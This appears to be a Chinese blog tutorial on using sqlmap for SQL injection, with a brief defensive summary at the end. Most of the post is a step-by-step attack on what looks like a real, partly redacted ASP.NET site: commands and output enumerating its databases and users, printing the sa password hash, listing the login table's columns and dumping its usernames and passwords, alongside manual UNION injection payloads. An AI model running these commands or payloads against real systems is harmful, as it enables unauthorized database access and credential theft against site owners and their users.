[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法

一.SQLMAP介绍  
    1.基础介绍  
    2.安装过程  
    3.漏洞检测  
二.SQLMAP基础用法  
    1.获取所有数据库  
    2.获取当前数据库  
    3.获取数据库所有用户  
    4.获取数据库当前用户  
    5.获取数据库所有用户和密码  
    6.获取数据库所有表  
    7.获取数据库登录表所有字段  
    8.获取数据库登录表用户名和密码  
三.总结   前文欣赏:  

[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入

一. SQLMAP介绍

1.基础介绍
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

SQLMAP是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。

2.安装过程
由于它是通过Python语言开发完成,需要安装Python环境,下面开始安装SQLMAP。
方法一:调用Pyhon命令pip install sqlmap安装

方法二:从Github中获取SQLMAP进行安装
下载地址:https://github.com/sqlmapproject/sqlmap

3.漏洞检测
cd去到Python环境sqlmap文件夹下,运行命令:

python sqlmap.py -u "http://..../tztgxx.aspx?code=115"

运行结果如下图所示,-u表示网址url。

输出GET的四种注入类型,分别为:boolean-based blind、stacked queries、time-based blind、UNION query。这里你可能会发现和我们的第一篇文章手动讲解SQL注入类似,包括:AND 1327=1327、UNION ALL等。

输出结果:
(1) 操作系统:Windows 2000
(2) Web应用技术:ASP.NET,ASP.NET 2.0, Microsoft IIS 5.0
(3) 数据库:Microsoft SQL Server 2000

下面通过一个实例进行讲解SQLMAP的基础用法。

二. SQLMAP基础用法

SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:

1.获取所有数据库
参数:–dbs
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs

运行结果如下图所示,获取9个数据库,其中–dbs参数表示databases。

2.获取当前数据库
参数:–current-db
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db

运行结果如下图所示,获取9个数据库。其中–current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。

输出结果:akykd_new
对应前文:
http://xxxxx/show.asp?code=-1’ union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 – 输出结果如下所示:
附件3:ahykd_new
其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。

3.获取数据库所有用户
参数:–users
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users

运行结果如下图所示,获取2个用户库。

输出结果:两个用户
(1)BUILTIN\\Adminstrators
(2)sa

4. 获取数据库当前用户
参数:–current-user
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user

运行结果如下图所示,获取当前数据库用户sa。

5. 获取数据库所有用户和密码
参数:–passwords
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords

运行结果如下图所示,获取数据库用户和密码。

输出结果:
database management system users password hashes:
[*] BUILTIN\\Administrators [1]:
password hash: NULL
[*] sa [1]:
password hash: 0x01006e27653a36bbc7907ec45a0060e0c5065ea5172f249faa73ba704d1440b4ec497e552b6c1c27a6a34b7f575b

6. 获取数据库所有表
参数:-D ahykd_new --tables
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables

运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。

通过人为猜解,知道登陆表位usr。
对应前文:
http://xxxxx/show.asp?code=-1’ union all
select 1,null,3,null,null,6,7,8,
(select top 1 name from sysobjects where type=‘U’),10 –
输出结果如下所示:
附件1:7
附件2:8
附件3:kc_jxjd其中top 1 name用于输出1个字段 ,sysobjects中u为用户表。

7. 获取数据库登录表所有字段
参数:-D ahykd_new -T usr --columns
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns

运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。

是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
对应前文:
http://xxxxx/show.asp?code=-1’ union all
select 1,null,3,null,null,6,7,8,
(select top 1 name from syscolmns where id=object_id(‘usr’)),10 –
输出结果如下所示:
附件1:7
附件2:8
附件3:answer
其中top 1 name用于输出1个字段,表usr的一个列表。

8. 获取数据库登录表用户名和密码
参数:-D ahykd_new -T usr -C “usr_name,password” --dump
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump 

获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。

如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump 

输出结果为空,报警告“the SQL query provided does not return any output”。

正常的输出结果例如下图所示,再通过md5解密即可。

三. 总结

真正的困难在于如何找到一个存在漏洞的网站,如何去防护。现在很多网站都应做好相关防御措施,手工SQL注入是没有反应的,但是找到漏洞后,再利用SQLMAP就能够找到相应的用户名和密码。
参考前文,个人理解的防御措施:

1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;  
2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;  
3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。  
5.可以使用JS在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。

希望文章对你有所帮助,尤其是网络安全的程序员,因为系列文章是和前文息息相关的。

在这里插入图片描述

  • 25
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全技术库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值